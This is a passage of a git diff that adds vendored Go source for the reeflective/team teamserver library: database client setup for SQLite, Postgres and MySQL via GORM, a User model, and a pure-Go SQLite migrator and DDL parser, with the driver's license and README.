If not, see . +*/ + +import ( + // Embedded SQLite instance. + _ "github.com/ncruces/go-sqlite3/embed" + // C-code. + _ "github.com/ncruces/go-sqlite3" + + "gorm.io/driver/sqlite" + "gorm.io/gorm" + "gorm.io/gorm/logger" +) + +func sqliteClient(dsn string, log logger.Interface) (*gorm.DB, error) { + return gorm.Open(sqlite.Open(dsn), &gorm.Config{ + PrepareStmt: true, + Logger: log, + }) +} diff --git a/vendor/github.com/reeflective/team/internal/db/sql-go.go b/vendor/github.com/reeflective/team/internal/db/sql-go.go new file mode 100644 index 0000000000..302aa0f9f2 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/sql-go.go @@ -0,0 +1,36 @@ +//go:build !(wasm_sqlite || cgo_sqlite) + +package db + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + // Embed the sqlite code into our teamserver. + _ "github.com/ncruces/go-sqlite3/embed" + "github.com/ncruces/go-sqlite3/gormlite" + "gorm.io/gorm" + "gorm.io/gorm/logger" +) + +func sqliteClient(dsn string, log logger.Interface) (*gorm.DB, error) { + return gorm.Open(gormlite.Open(dsn), &gorm.Config{ + PrepareStmt: true, + Logger: log, + }) +} diff --git a/vendor/github.com/reeflective/team/internal/db/sql-wasm.go b/vendor/github.com/reeflective/team/internal/db/sql-wasm.go new file mode 100644 index 0000000000..213b48d9fa --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/sql-wasm.go @@ -0,0 +1,41 @@ +//go:build wasm_sqlite + +package db + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + // Core code. + _ "github.com/ncruces/go-sqlite3" + // Driver code. + _ "github.com/ncruces/go-sqlite3/driver" + // Embedded SQLite instance. + _ "github.com/ncruces/go-sqlite3/embed" + "gorm.io/gorm" + "gorm.io/gorm/logger" + + "github.com/reeflective/team/internal/db/wasmsqlite" +) + +func sqliteClient(dsn string, log logger.Interface) (*gorm.DB, error) { + return gorm.Open(wasmsqlite.Open(dsn), &gorm.Config{ + PrepareStmt: true, + Logger: log, + }) +} diff --git a/vendor/github.com/reeflective/team/internal/db/sql.go b/vendor/github.com/reeflective/team/internal/db/sql.go new file mode 100644 index 0000000000..b8f86d3072 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/sql.go @@ -0,0 +1,133 @@ +package db + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "errors" + "fmt" + "time" + + "github.com/reeflective/team/internal/log" + "github.com/sirupsen/logrus" + "gorm.io/driver/mysql" + "gorm.io/driver/postgres" + "gorm.io/gorm" + "gorm.io/gorm/logger" +) + +const ( + // SQLiteInMemoryHost is the default string used by SQLite + // as a host when ran in memory (string value is ":memory:"). + SQLiteInMemoryHost = ":memory:" +) + +var ( + // ErrRecordNotFound - Record not found error. + ErrRecordNotFound = gorm.ErrRecordNotFound + + // ErrUnsupportedDialect - An invalid dialect was specified. + ErrUnsupportedDialect = errors.New("Unknown/unsupported DB Dialect") +) + +// NewClient initializes a database client connection to a backend specified in config. +func NewClient(dbConfig *Config, dbLogger *logrus.Entry) (*gorm.DB, error) { + var dbClient *gorm.DB + + dsn, err := dbConfig.DSN() + if err != nil { + return nil, fmt.Errorf("Failed to marshal database DSN: %w", err) + } + + // Logging middleware (queries) + dbLog := log.NewDatabase(dbLogger, dbConfig.LogLevel) + logDbDsn := fmt.Sprintf("%s (%s:%d)", dbConfig.Database, dbConfig.Host, dbConfig.Port) + + switch dbConfig.Dialect { + case Sqlite: + dbLogger.Infof("Connecting to SQLite database %s", logDbDsn) + + dbClient, err = sqliteClient(dsn, dbLog) + if err != nil { + return nil, fmt.Errorf("Database connection failed: %w", err) + } + + case Postgres: + dbLogger.Infof("Connecting to PostgreSQL database %s", logDbDsn) + + dbClient, err = postgresClient(dsn, dbLog) + if err != nil { + return nil, fmt.Errorf("Database connection failed: %w", err) + } + + case MySQL: + dbLogger.Infof("Connecting to MySQL database %s", logDbDsn) + + dbClient, err = mySQLClient(dsn, dbLog) + if err != nil { + return nil, fmt.Errorf("Database connection failed: %w", err) + } + default: + return nil, fmt.Errorf("%w: '%s'", ErrUnsupportedDialect, dbConfig.Dialect) + } + + err = dbClient.AutoMigrate(Schema()...) + if err != nil { + dbLogger.Error(err) + } + + // Get generic database object sql.DB to use its functions + sqlDB, err := dbClient.DB() + if err != nil { + dbLogger.Error(err) + } + + // SetMaxIdleConns sets the maximum number of connections in the idle connection pool. + sqlDB.SetMaxIdleConns(dbConfig.MaxIdleConns) + + // SetMaxOpenConns sets the maximum number of open connections to the database. + sqlDB.SetMaxOpenConns(dbConfig.MaxOpenConns) + + // SetConnMaxLifetime sets the maximum amount of time a connection may be reused. + sqlDB.SetConnMaxLifetime(time.Hour) + + return dbClient, nil +} + +// Schema returns all objects which should be registered +// to the teamserver database backend. +func Schema() []any { + return []any{ + &Certificate{}, + &User{}, + } +} + +func postgresClient(dsn string, log logger.Interface) (*gorm.DB, error) { + return gorm.Open(postgres.Open(dsn), &gorm.Config{ + PrepareStmt: true, + Logger: log, + }) +} + +func mySQLClient(dsn string, log logger.Interface) (*gorm.DB, error) { + return gorm.Open(mysql.Open(dsn), &gorm.Config{ + PrepareStmt: true, + Logger: log, + }) +} diff --git a/vendor/github.com/reeflective/team/internal/db/user.go b/vendor/github.com/reeflective/team/internal/db/user.go new file mode 100644 index 0000000000..de220b7b75 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/user.go @@ -0,0 +1,47 @@ +package db + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "time" + + "github.com/gofrs/uuid" + "gorm.io/gorm" +) + +// User - A teamserver user. +type User struct { + ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"` + CreatedAt time.Time `gorm:"->;<-:create;"` + LastSeen time.Time + Name string + Token string `gorm:"uniqueIndex"` +} + +// BeforeCreate - GORM hook. +func (o *User) BeforeCreate(tx *gorm.DB) (err error) { + o.ID, err = uuid.NewV4() + if err != nil { + return err + } + + o.CreatedAt = time.Now() + + return nil +} diff --git a/vendor/github.com/reeflective/team/internal/db/wasmsqlite/License b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/License new file mode 100644 index 0000000000..037e1653e6 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/License @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) 2013-NOW Jinzhu + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/vendor/github.com/reeflective/team/internal/db/wasmsqlite/README.md b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/README.md new file mode 100644 index 0000000000..7ffa285949 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/README.md @@ -0,0 +1,56 @@ +![badge](https://img.shields.io/endpoint?url=https://gist.githubusercontent.com/glebarez/fb4d23f63d866b3e1e58b26d2f5ed01f/raw/badge-gorm-tests.json) +![badge](https://img.shields.io/endpoint?url=https://gist.githubusercontent.com/glebarez/fb4d23f63d866b3e1e58b26d2f5ed01f/raw/badge-sqlite-version.json) +
[![Hits](https://hits.seeyoufarm.com/api/count/incr/badge.svg?url=https%3A%2F%2Fgithub.com%2Fglebarez%2Fsqlite&count_bg=%2379C83D&title_bg=%23555555&icon=baidu.svg&icon_color=%23E7E7E7&title=hits&edge_flat=false)](https://hits.seeyoufarm.com) +# Pure-Go SQLite driver for GORM +Pure-go (without cgo) implementation of SQLite driver for [GORM](https://gorm.io/)

+This driver has SQLite embedded, you don't need to install one separately. + +# Usage + +```go +import ( + "github.com/glebarez/sqlite" + "gorm.io/gorm" +) + +db, err := gorm.Open(sqlite.Open("sqlite.db"), &gorm.Config{}) +``` + +### In-memory DB example +```go +db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) +``` + +### Foreign-key constraint activation +Foreign-key constraint is disabled by default in SQLite. To activate it, use connection URL parameter: +```go +db, err := gorm.Open(sqlite.Open(":memory:?_pragma=foreign_keys(1)"), &gorm.Config{}) +``` +More info: [https://www.sqlite.org/foreignkeys.html](https://www.sqlite.org/foreignkeys.html) + +# FAQ +## How is this better than standard GORM SQLite driver? +The [standard GORM driver for SQLite](https://github.com/go-gorm/sqlite) has one major drawback: it is based on a [Go-bindings of SQLite C-source](https://github.com/mattn/go-sqlite3) (this is called [cgo](https://go.dev/blog/cgo)). This fact imposes following restrictions on Go developers: +- to build and run your code, you will need a C compiler installed on a machine +- SQLite has many features that need to be enabled at compile time (e.g. [json support](https://www.sqlite.org/json1.html)). If you plan to use those, you will have to include proper build tags for every ```go``` command to work properly (```go run```, ```go test```, etc.). +- Because of C-compiler requirement, you can't build your Go code inside tiny stripped containers like (golang-alpine) +- Building on GCP is not possible because Google Cloud Platform does not allow gcc to be executed. + +**Instead**, this driver is based on pure-Go implementation of SQLite (https://gitlab.com/cznic/sqlite), which is basically an original SQLite C-source AST, translated into Go! So, you may be sure you're using the original SQLite implementation under the hood. + +## Is this tested good ? +Yes, The CI pipeline of this driver employs [whole test base](https://github.com/go-gorm/gorm/tree/master/tests) of GORM, which includes more than **12k** tests (see badge on the page-top). Testing is run against latest major releases of Go: +- 1.18 +- 1.19 + +In following environments: +- Linux +- Windows +- MacOS + +## Is it fast? +Well, it's slower than CGo implementation, but not terribly. See the [bechmark of underlying pure-Go driver vs CGo implementation](https://github.com/glebarez/go-sqlite/tree/master/benchmark). + +## Included features +- JSON1 (https://www.sqlite.org/json1.html) +- Math functions (https://www.sqlite.org/lang_mathfunc.html) diff --git a/vendor/github.com/reeflective/team/internal/db/wasmsqlite/ddlmod.go b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/ddlmod.go new file mode 100644 index 0000000000..84260800cb --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/ddlmod.go @@ -0,0 +1,234 @@ +package wasmsqlite + +import ( + "database/sql" + "errors" + "fmt" + "regexp" + "strconv" + "strings" + + "gorm.io/gorm/migrator" +) + +var ( + sqliteSeparator = "`|\"|'|\t" + indexRegexp = regexp.MustCompile(fmt.Sprintf("(?is)CREATE(?: UNIQUE)? INDEX [%v]?[\\w\\d-]+[%v]? ON (.*)$", sqliteSeparator, sqliteSeparator)) + tableRegexp = regexp.MustCompile(fmt.Sprintf("(?is)(CREATE TABLE [%v]?[\\w\\d-]+[%v]?)(?: \\((.*)\\))?", sqliteSeparator, sqliteSeparator)) + separatorRegexp = regexp.MustCompile(fmt.Sprintf("[%v]", sqliteSeparator)) + columnsRegexp = regexp.MustCompile(fmt.Sprintf("\\([%v]?([\\w\\d]+)[%v]?(?:,[%v]?([\\w\\d]+)[%v]){0,}\\)", sqliteSeparator, sqliteSeparator, sqliteSeparator, sqliteSeparator)) + columnRegexp = regexp.MustCompile(fmt.Sprintf("^[%v]?([\\w\\d]+)[%v]?\\s+([\\w\\(\\)\\d]+)(.*)$", sqliteSeparator, sqliteSeparator)) + defaultValueRegexp = regexp.MustCompile("(?i) DEFAULT \\(?(.+)?\\)?( |COLLATE|GENERATED|$)") + regRealDataType = regexp.MustCompile(`[^\d](\d+)[^\d]?`) +) + +type ddl struct { + head string + fields []string + columns []migrator.ColumnType +} + +func parseDDL(strs ...string) (*ddl, error) { + var result ddl + for _, str := range strs { + if sections := tableRegexp.FindStringSubmatch(str); len(sections) > 0 { + var ( + ddlBody = sections[2] + ddlBodyRunes = []rune(ddlBody) + bracketLevel int + quote rune + buf string + ) + ddlBodyRunesLen := len(ddlBodyRunes) + + result.head = sections[1] + + for idx := 0; idx < ddlBodyRunesLen; idx++ { + var ( + next rune = 0 + c = ddlBodyRunes[idx] + ) + if idx+1 < ddlBodyRunesLen { + next = ddlBodyRunes[idx+1] + } + + if sc := string(c); separatorRegexp.MatchString(sc) { + if c == next { + buf += sc // Skip escaped quote + idx++ + } else if quote > 0 { + quote = 0 + } else { + quote = c + } + } else if quote == 0 { + if c == '(' { + bracketLevel++ + } else if c == ')' { + bracketLevel-- + } else if bracketLevel == 0 { + if c == ',' { + result.fields = append(result.fields, strings.TrimSpace(buf)) + buf = "" + continue + } + } + } + + if bracketLevel < 0 { + return nil, errors.New("invalid DDL, unbalanced brackets") + } + + buf += string(c) + } + + if bracketLevel != 0 { + return nil, errors.New("invalid DDL, unbalanced brackets") + } + + if buf != "" { + result.fields = append(result.fields, strings.TrimSpace(buf)) + } + + for _, f := range result.fields { + fUpper := strings.ToUpper(f) + if strings.HasPrefix(fUpper, "CHECK") || + strings.HasPrefix(fUpper, "CONSTRAINT") { + continue + } + + if strings.HasPrefix(fUpper, "PRIMARY KEY") { + matches := columnsRegexp.FindStringSubmatch(f) + if len(matches) > 1 { + for _, name := range matches[1:] { + for idx, column := range result.columns { + if column.NameValue.String == name { + column.PrimaryKeyValue = sql.NullBool{Bool: true, Valid: true} + result.columns[idx] = column + break + } + } + } + } + } else if matches := columnRegexp.FindStringSubmatch(f); len(matches) > 0 { + columnType := migrator.ColumnType{ + NameValue: sql.NullString{String: matches[1], Valid: true}, + DataTypeValue: sql.NullString{String: matches[2], Valid: true}, + ColumnTypeValue: sql.NullString{String: matches[2], Valid: true}, + PrimaryKeyValue: sql.NullBool{Valid: true}, + UniqueValue: sql.NullBool{Valid: true}, + NullableValue: sql.NullBool{Valid: true}, + DefaultValueValue: sql.NullString{Valid: false}, + } + + matchUpper := strings.ToUpper(matches[3]) + if strings.Contains(matchUpper, " NOT NULL") { + columnType.NullableValue = sql.NullBool{Bool: false, Valid: true} + } else if strings.Contains(matchUpper, " NULL") { + columnType.NullableValue = sql.NullBool{Bool: true, Valid: true} + } + if strings.Contains(matchUpper, " UNIQUE") { + columnType.UniqueValue = sql.NullBool{Bool: true, Valid: true} + } + if strings.Contains(matchUpper, " PRIMARY") { + columnType.PrimaryKeyValue = sql.NullBool{Bool: true, Valid: true} + } + if defaultMatches := defaultValueRegexp.FindStringSubmatch(matches[3]); len(defaultMatches) > 1 { + if strings.ToLower(defaultMatches[1]) != "null" { + columnType.DefaultValueValue = sql.NullString{String: strings.Trim(defaultMatches[1], `"`), Valid: true} + } + } + + // data type length + matches := regRealDataType.FindAllStringSubmatch(columnType.DataTypeValue.String, -1) + if len(matches) == 1 && len(matches[0]) == 2 { + size, _ := strconv.Atoi(matches[0][1]) + columnType.LengthValue = sql.NullInt64{Valid: true, Int64: int64(size)} + columnType.DataTypeValue.String = strings.TrimSuffix(columnType.DataTypeValue.String, matches[0][0]) + } + + result.columns = append(result.columns, columnType) + } + } + } else if matches := indexRegexp.FindStringSubmatch(str); len(matches) > 0 { + if columns := columnsRegexp.FindStringSubmatch(matches[1]); len(columns) == 1 { + for idx, c := range result.columns { + if c.NameValue.String == columns[0] { + c.UniqueValue = sql.NullBool{Bool: true, Valid: true} + result.columns[idx] = c + } + } + } + } else { + return nil, errors.New("invalid DDL") + } + } + + return &result, nil +} + +func (d *ddl) compile() string { + if len(d.fields) == 0 { + return d.head + } + + return fmt.Sprintf("%s (%s)", d.head, strings.Join(d.fields, ",")) +} + +func (d *ddl) addConstraint(name string, sql string) { + reg := regexp.MustCompile("^CONSTRAINT [\"`]?" + regexp.QuoteMeta(name) + "[\"` ]") + + for i := 0; i < len(d.fields); i++ { + if reg.MatchString(d.fields[i]) { + d.fields[i] = sql + return + } + } + + d.fields = append(d.fields, sql) +} + +func (d *ddl) removeConstraint(name string) bool { + reg := regexp.MustCompile("^CONSTRAINT [\"`]?" + regexp.QuoteMeta(name) + "[\"` ]") + + for i := 0; i < len(d.fields); i++ { + if reg.MatchString(d.fields[i]) { + d.fields = append(d.fields[:i], d.fields[i+1:]...) + return true + } + } + return false +} + +func (d *ddl) hasConstraint(name string) bool { + reg := regexp.MustCompile("^CONSTRAINT [\"`]?" + regexp.QuoteMeta(name) + "[\"` ]") + + for _, f := range d.fields { + if reg.MatchString(f) { + return true + } + } + return false +} + +func (d *ddl) getColumns() []string { + res := []string{} + + for _, f := range d.fields { + fUpper := strings.ToUpper(f) + if strings.HasPrefix(fUpper, "PRIMARY KEY") || + strings.HasPrefix(fUpper, "CHECK") || + strings.HasPrefix(fUpper, "CONSTRAINT") || + strings.Contains(fUpper, "GENERATED ALWAYS AS") { + continue + } + + reg := regexp.MustCompile("^[\"`']?([\\w\\d]+)[\"`']?") + match := reg.FindStringSubmatch(f) + + if match != nil { + res = append(res, "`"+match[1]+"`") + } + } + return res +} diff --git a/vendor/github.com/reeflective/team/internal/db/wasmsqlite/errors.go b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/errors.go new file mode 100644 index 0000000000..cb6c61b035 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/errors.go @@ -0,0 +1,7 @@ +package wasmsqlite + +import "errors" + +var ( + ErrConstraintsNotImplemented = errors.New("constraints not implemented on sqlite, consider using DisableForeignKeyConstraintWhenMigrating, more details https://github.com/go-gorm/gorm/wiki/GORM-V2-Release-Note-Draft#all-new-migrator") +) diff --git a/vendor/github.com/reeflective/team/internal/db/wasmsqlite/migrator.go b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/migrator.go new file mode 100644 index 0000000000..0ea6eef487 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/migrator.go @@ -0,0 +1,423 @@ +package wasmsqlite + +import ( + "database/sql" + "fmt" + "regexp" + "strings" + + "gorm.io/gorm" + "gorm.io/gorm/clause" + "gorm.io/gorm/migrator" + "gorm.io/gorm/schema" +) + +type Migrator struct { + migrator.Migrator +} + +func (m *Migrator) RunWithoutForeignKey(fc func() error) error { + var enabled int + m.DB.Raw("PRAGMA foreign_keys").Scan(&enabled) + if enabled == 1 { + m.DB.Exec("PRAGMA foreign_keys = OFF") + defer m.DB.Exec("PRAGMA foreign_keys = ON") + } + + return fc() +} + +func (m Migrator) HasTable(value interface{}) bool { + var count int + m.Migrator.RunWithValue(value, func(stmt *gorm.Statement) error { + return m.DB.Raw("SELECT count(*) FROM sqlite_master WHERE type='table' AND name=?", stmt.Table).Row().Scan(&count) + }) + return count > 0 +} + +func (m Migrator) DropTable(values ...interface{}) error { + return m.RunWithoutForeignKey(func() error { + values = m.ReorderModels(values, false) + tx := m.DB.Session(&gorm.Session{}) + + for i := len(values) - 1; i >= 0; i-- { + if err := m.RunWithValue(values[i], func(stmt *gorm.Statement) error { + return tx.Exec("DROP TABLE IF EXISTS ?", clause.Table{Name: stmt.Table}).Error + }); err != nil { + return err + } + } + + return nil + }) +} + +func (m Migrator) GetTables() (tableList []string, err error) { + return tableList, m.DB.Raw("SELECT name FROM sqlite_master where type=?", "table").Scan(&tableList).Error +} + +func (m Migrator) HasColumn(value interface{}, name string) bool { + var count int + m.Migrator.RunWithValue(value, func(stmt *gorm.Statement) error { + if stmt.Schema != nil { + if field := stmt.Schema.LookUpField(name); field != nil { + name = field.DBName + } + } + + if name != "" { + m.DB.Raw( + "SELECT count(*) FROM sqlite_master WHERE type = ? AND tbl_name = ? AND (sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ?)", + "table", stmt.Table, `%"`+name+`" %`, `%`+name+` %`, "%`"+name+"`%", "%["+name+"]%", "%\t"+name+"\t%", + ).Row().Scan(&count) + } + return nil + }) + return count > 0 +} + +func (m Migrator) AlterColumn(value interface{}, name string) error { + return m.RunWithoutForeignKey(func() error { + return m.recreateTable(value, nil, func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) { + if field := stmt.Schema.LookUpField(name); field != nil { + // lookup field from table definition, ddl might looks like `'name' int,` or `'name' int)` + reg, err := regexp.Compile("(`|'|\"| )" + field.DBName + "(`|'|\"| ) .*?(,|\\)\\s*$)") + if err != nil { + return "", nil, err + } + + createSQL := reg.ReplaceAllString(rawDDL, fmt.Sprintf("`%v` ?$3", field.DBName)) + + if createSQL == rawDDL { + return "", nil, fmt.Errorf("failed to look up field %v from DDL %v", field.DBName, rawDDL) + } + + return createSQL, []interface{}{m.FullDataTypeOf(field)}, nil + } + return "", nil, fmt.Errorf("failed to alter field with name %v", name) + }) + }) +} + +// ColumnTypes return columnTypes []gorm.ColumnType and execErr error +func (m Migrator) ColumnTypes(value interface{}) ([]gorm.ColumnType, error) { + columnTypes := make([]gorm.ColumnType, 0) + execErr := m.RunWithValue(value, func(stmt *gorm.Statement) (err error) { + var ( + sqls []string + sqlDDL *ddl + ) + + if err := m.DB.Raw("SELECT sql FROM sqlite_master WHERE type IN ? AND tbl_name = ? AND sql IS NOT NULL order by type = ? desc", []string{"table", "index"}, stmt.Table, "table").Scan(&sqls).Error; err != nil { + return err + } + + if sqlDDL, err = parseDDL(sqls...); err != nil { + return err + } + + rows, err := m.DB.Session(&gorm.Session{}).Table(stmt.Table).Limit(1).Rows() + if err != nil { + return err + } + defer func() { + err = rows.Close() + }() + + var rawColumnTypes []*sql.ColumnType + rawColumnTypes, err = rows.ColumnTypes() + if err != nil { + return err + } + + for _, c := range rawColumnTypes { + columnType := migrator.ColumnType{SQLColumnType: c} + for _, column := range sqlDDL.columns { + if column.NameValue.String == c.Name() { + column.SQLColumnType = c + columnType = column + break + } + } + columnTypes = append(columnTypes, columnType) + } + + return err + }) + + return columnTypes, execErr +} + +func (m Migrator) DropColumn(value interface{}, name string) error { + return m.recreateTable(value, nil, func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) { + if field := stmt.Schema.LookUpField(name); field != nil { + name = field.DBName + } + + reg, err := regexp.Compile("(`|'|\"| |\\[)" + name + "(`|'|\"| |\\]) .*?,") + if err != nil { + return "", nil, err + } + + createSQL := reg.ReplaceAllString(rawDDL, "") + + return createSQL, nil, nil + }) +} + +func (m Migrator) CreateConstraint(value interface{}, name string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + constraint, chk, table := m.GuessConstraintAndTable(stmt, name) + + return m.recreateTable(value, &table, + func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) { + var ( + constraintName string + constraintSql string + constraintValues []interface{} + ) + + if constraint != nil { + constraintName = constraint.Name + constraintSql, constraintValues = buildConstraint(constraint) + } else if chk != nil { + constraintName = chk.Name + constraintSql = "CONSTRAINT ? CHECK (?)" + constraintValues = []interface{}{clause.Column{Name: chk.Name}, clause.Expr{SQL: chk.Constraint}} + } else { + return "", nil, nil + } + + createDDL, err := parseDDL(rawDDL) + if err != nil { + return "", nil, err + } + createDDL.addConstraint(constraintName, constraintSql) + createSQL := createDDL.compile() + + return createSQL, constraintValues, nil + }) + }) +} + +func (m Migrator) DropConstraint(value interface{}, name string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + constraint, chk, table := m.GuessConstraintAndTable(stmt, name) + if constraint != nil { + name = constraint.Name + } else if chk != nil { + name = chk.Name + } + + return m.recreateTable(value, &table, + func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) { + createDDL, err := parseDDL(rawDDL) + if err != nil { + return "", nil, err + } + createDDL.removeConstraint(name) + createSQL := createDDL.compile() + + return createSQL, nil, nil + }) + }) +} + +func (m Migrator) HasConstraint(value interface{}, name string) bool { + var count int64 + m.RunWithValue(value, func(stmt *gorm.Statement) error { + constraint, chk, table := m.GuessConstraintAndTable(stmt, name) + if constraint != nil { + name = constraint.Name + } else if chk != nil { + name = chk.Name + } + + m.DB.Raw( + "SELECT count(*) FROM sqlite_master WHERE type = ? AND tbl_name = ? AND (sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ?)", + "table", table, `%CONSTRAINT "`+name+`" %`, `%CONSTRAINT `+name+` %`, "%CONSTRAINT `"+name+"`%", "%CONSTRAINT ["+name+"]%", "%CONSTRAINT \t"+name+"\t%", + ).Row().Scan(&count) + + return nil + }) + + return count > 0 +} + +func (m Migrator) CurrentDatabase() (name string) { + var null interface{} + m.DB.Raw("PRAGMA database_list").Row().Scan(&null, &name, &null) + return +} + +func (m Migrator) BuildIndexOptions(opts []schema.IndexOption, stmt *gorm.Statement) (results []interface{}) { + for _, opt := range opts { + str := stmt.Quote(opt.DBName) + if opt.Expression != "" { + str = opt.Expression + } + + if opt.Collate != "" { + str += " COLLATE " + opt.Collate + } + + if opt.Sort != "" { + str += " " + opt.Sort + } + results = append(results, clause.Expr{SQL: str}) + } + return +} + +func (m Migrator) CreateIndex(value interface{}, name string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + if idx := stmt.Schema.LookIndex(name); idx != nil { + opts := m.BuildIndexOptions(idx.Fields, stmt) + values := []interface{}{clause.Column{Name: idx.Name}, clause.Table{Name: stmt.Table}, opts} + + createIndexSQL := "CREATE " + if idx.Class != "" { + createIndexSQL += idx.Class + " " + } + createIndexSQL += "INDEX ?" + + if idx.Type != "" { + createIndexSQL += " USING " + idx.Type + } + createIndexSQL += " ON ??" + + if idx.Where != "" { + createIndexSQL += " WHERE " + idx.Where + } + + return m.DB.Exec(createIndexSQL, values...).Error + } + + return fmt.Errorf("failed to create index with name %v", name) + }) +} + +func (m Migrator) HasIndex(value interface{}, name string) bool { + var count int + m.RunWithValue(value, func(stmt *gorm.Statement) error { + if idx := stmt.Schema.LookIndex(name); idx != nil { + name = idx.Name + } + + if name != "" { + m.DB.Raw( + "SELECT count(*) FROM sqlite_master WHERE type = ? AND tbl_name = ? AND name = ?", "index", stmt.Table, name, + ).Row().Scan(&count) + } + return nil + }) + return count > 0 +} + +func (m Migrator) RenameIndex(value interface{}, oldName, newName string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + var sql string + m.DB.Raw("SELECT sql FROM sqlite_master WHERE type = ? AND tbl_name = ? AND name = ?", "index", stmt.Table, oldName).Row().Scan(&sql) + if sql != "" { + return m.DB.Exec(strings.Replace(sql, oldName, newName, 1)).Error + } + return fmt.Errorf("failed to find index with name %v", oldName) + }) +} + +func (m Migrator) DropIndex(value interface{}, name string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + if idx := stmt.Schema.LookIndex(name); idx != nil { + name = idx.Name + } + + return m.DB.Exec("DROP INDEX ?", clause.Column{Name: name}).Error + }) +} + +func buildConstraint(constraint *schema.Constraint) (sql string, results []interface{}) { + sql = "CONSTRAINT ? FOREIGN KEY ? REFERENCES ??" + if constraint.OnDelete != "" { + sql += " ON DELETE " + constraint.OnDelete + } + + if constraint.OnUpdate != "" { + sql += " ON UPDATE " + constraint.OnUpdate + } + + var foreignKeys, references []interface{} + for _, field := range constraint.ForeignKeys { + foreignKeys = append(foreignKeys, clause.Column{Name: field.DBName}) + } + + for _, field := range constraint.References { + references = append(references, clause.Column{Name: field.DBName}) + } + results = append(results, clause.Table{Name: constraint.Name}, foreignKeys, clause.Table{Name: constraint.ReferenceSchema.Table}, references) + return +} + +func (m Migrator) getRawDDL(table string) (string, error) { + var createSQL string + m.DB.Raw("SELECT sql FROM sqlite_master WHERE type = ? AND tbl_name = ? AND name = ?", "table", table, table).Row().Scan(&createSQL) + + if m.DB.Error != nil { + return "", m.DB.Error + } + return createSQL, nil +} + +func (m Migrator) recreateTable(value interface{}, tablePtr *string, + getCreateSQL func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error)) error { + return 